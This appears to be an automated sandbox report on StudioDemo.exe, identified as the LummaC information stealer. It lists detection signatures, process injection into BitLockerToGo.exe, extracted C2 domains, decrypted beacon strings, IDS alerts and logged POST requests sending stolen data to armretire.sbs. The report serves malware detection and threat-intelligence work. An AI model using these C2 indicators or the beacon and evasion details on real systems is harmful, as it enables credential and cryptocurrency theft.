Edit tour

Windows Analysis Report
StudioDemo.exe

Overview

General Information

Sample name:	StudioDemo.exe
Analysis ID:	1541178
MD5:	c2572a275e098d91a781656e6895a22e
SHA1:	e62db47eaf2e12f3cf628141f3cfb104650f151d
SHA256:	792a9b5b55a9a6104d397296ca0e259d0f98f7991da7986cdc611e579232ac5a
Tags:	exeLummaStaleruser-ramirezrick2
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

StudioDemo.exe (PID: 6740 cmdline: "C:\Users\user\Desktop\StudioDemo.exe" MD5: C2572A275E098D91A781656E6895A22E)

BitLockerToGo.exe (PID: 6984 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["elaboretib.sbs", "mediavelk.sbs", "ostracizez.sbs", "armretire.sbs", "offybirhtdi.sbs", "definitib.sbs", "arenbootk.sbs", "strikebripm.sbs", "activedomest.sbs"], "Build id": "tLYMe5--111"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.1991166032.0000000002922000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1922219151.000000000298F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 6984	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 6984	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 6984	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T14:51:23.570477+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49731	188.114.96.3	443	TCP
2024-10-24T14:51:25.212636+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49735	188.114.96.3	443	TCP
2024-10-24T14:51:35.769185+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49745	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T14:51:23.570477+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49731	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T14:51:25.212636+0200	2049812	1	A Network Trojan was detected	192.168.2.4	49735	188.114.96.3	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T14:51:34.795385+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49744	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 1.2.BitLockerToGo.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["elaboretib.sbs", "mediavelk.sbs", "ostracizez.sbs", "armretire.sbs", "offybirhtdi.sbs", "definitib.sbs", "arenbootk.sbs", "strikebripm.sbs", "activedomest.sbs"], "Build id": "tLYMe5--111"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: offybirhtdi.sbs
Source: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: activedomest.sbs
Source: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: arenbootk.sbs
Source: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: mediavelk.sbs
Source: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: definitib.sbs
Source: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: elaboretib.sbs
Source: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: strikebripm.sbs
Source: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: ostracizez.sbs
Source: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: armretire.sbs
Source: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: tLYMe5--111

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_0041E9B6 CryptUnprotectData,

1_2_0041E9B6

Source: StudioDemo.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49745 version: TLS 1.2

Source: StudioDemo.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: StudioDemo.exe, 00000000.00000002.1896152018.000000000B5B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: StudioDemo.exe, 00000000.00000002.1896152018.000000000B5B0000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+386742D1h]	1_2_004420E8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp al, 5Ch	1_2_00406740
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	1_2_00445770
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, eax	1_2_00445890
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, ecx	1_2_00428900
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], B62B8D10h	1_2_0041E9B6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, ecx	1_2_0041E9B6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	1_2_0041CA15
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], cl	1_2_00431A22
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx-1BDEE6EAh]	1_2_0040DF60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], cl	1_2_0042FF9C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esi+00000404h], 934E4F08h	1_2_0042FF9C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, eax	1_2_0042FF9C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, edx	1_2_0042FF9C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+386742D1h]	1_2_00441FBE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esi]	1_2_00442074
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [eax+ebx], 30303030h	1_2_00401000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [eax+ebx], 20202020h	1_2_00401000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+3EE37117h]	1_2_00440010
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_00425030
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	1_2_0042F1E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [eax+ebx], 00000030h	1_2_004012D5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	1_2_0042D2A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_0042D2A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	1_2_004393A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [ebx+eax+02h], 0000h	1_2_004214C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, edx	1_2_0042D485
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp+54h]	1_2_0043F500
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+eax-01h]	1_2_00442589
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+0934C5EAh]	1_2_00443620
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [eax+edi*8], B62B8D10h	1_2_00429680
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+0934C5EAh]	1_2_004436B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [eax+edi*8], B62B8D10h	1_2_00429731
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, ebx	1_2_0043C870
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-08A8EA10h]	1_2_0042D8E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [edx+eax+3568085Eh]	1_2_0042BA62
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	1_2_0041FAD5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	1_2_00427A8A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [eax+edi*8], B62B8D10h	1_2_00429B40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	1_2_0042EB70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [eax+edi*8], B62B8D10h	1_2_00428B15
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-08A8EA10h]	1_2_0042D8E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, eax	1_2_00429C41
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	1_2_0042EC10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	1_2_00404CA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	1_2_00405CB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	1_2_00426DE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], C3CDC4A6h	1_2_0043EE40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [edi], cx	1_2_00421E00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	1_2_0041FED0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+24h]	1_2_0041DF4C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 3568C09Bh	1_2_0041DF4C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	1_2_0042CF80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_0042CF80

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49744 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49745 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49735 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49735 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: elaboretib.sbs
Source: Malware configuration extractor	URLs: mediavelk.sbs
Source: Malware configuration extractor	URLs: ostracizez.sbs
Source: Malware configuration extractor	URLs: armretire.sbs
Source: Malware configuration extractor	URLs: offybirhtdi.sbs
Source: Malware configuration extractor	URLs: definitib.sbs
Source: Malware configuration extractor	URLs: arenbootk.sbs
Source: Malware configuration extractor	URLs: strikebripm.sbs
Source: Malware configuration extractor	URLs: activedomest.sbs

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: armretire.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 77Host: armretire.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18161Host: armretire.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8782Host: armretire.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20435Host: armretire.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 3802Host: armretire.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 3818Host: armretire.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1255Host: armretire.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1121Host: armretire.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 112Host: armretire.sbs

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: armretire.sbs

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: armretire.sbs

Source: BitLockerToGo.exe, 00000001.00000003.1948472849.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BitLockerToGo.exe, 00000001.00000003.1948472849.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: BitLockerToGo.exe, 00000001.00000003.1948472849.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: BitLockerToGo.exe, 00000001.00000003.1948472849.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BitLockerToGo.exe, 00000001.00000003.1948472849.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: BitLockerToGo.exe, 00000001.00000003.1948472849.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: BitLockerToGo.exe, 00000001.00000003.1948472849.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: StudioDemo.exe, program.js.0.dr	String found in binary or memory: http://json-schema.org/draft-07/schema
Source: program.js.0.dr	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: StudioDemo.exe, program.js.0.dr	String found in binary or memory: http://json-schema.org/schema
Source: BitLockerToGo.exe, 00000001.00000003.1948472849.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: BitLockerToGo.exe, 00000001.00000003.1948472849.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: BitLockerToGo.exe, 00000001.00000003.1948472849.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: BitLockerToGo.exe, 00000001.00000003.1948472849.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: BitLockerToGo.exe, 00000001.00000003.1923166260.0000000004E19000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923083650.0000000004E1B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923307585.0000000004E19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: BitLockerToGo.exe, 00000001.00000003.2026676003.000000000298C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1962791647.000000000299D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://armretire.sbs/
Source: BitLockerToGo.exe, 00000001.00000003.1991166032.0000000002922000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2027822964.000000000292A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2026428559.000000000292A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2026944627.000000000292A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2016768984.0000000002922000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://armretire.sbs/#
Source: BitLockerToGo.exe, 00000001.00000002.2028015180.00000000029A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2011525624.00000000029A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2011427431.00000000029A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://armretire.sbs/6
Source: BitLockerToGo.exe, 00000001.00000003.1979642936.000000000299D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2028015180.00000000029A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1991122518.00000000029A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1990960229.000000000299D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2011525624.00000000029A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2011427431.00000000029A0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1991264516.00000000029A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1962791647.000000000299D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://armretire.sbs/7
Source: BitLockerToGo.exe, 00000001.00000002.2028015180.00000000029A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2011525624.00000000029A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2011427431.00000000029A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://armretire.sbs/G
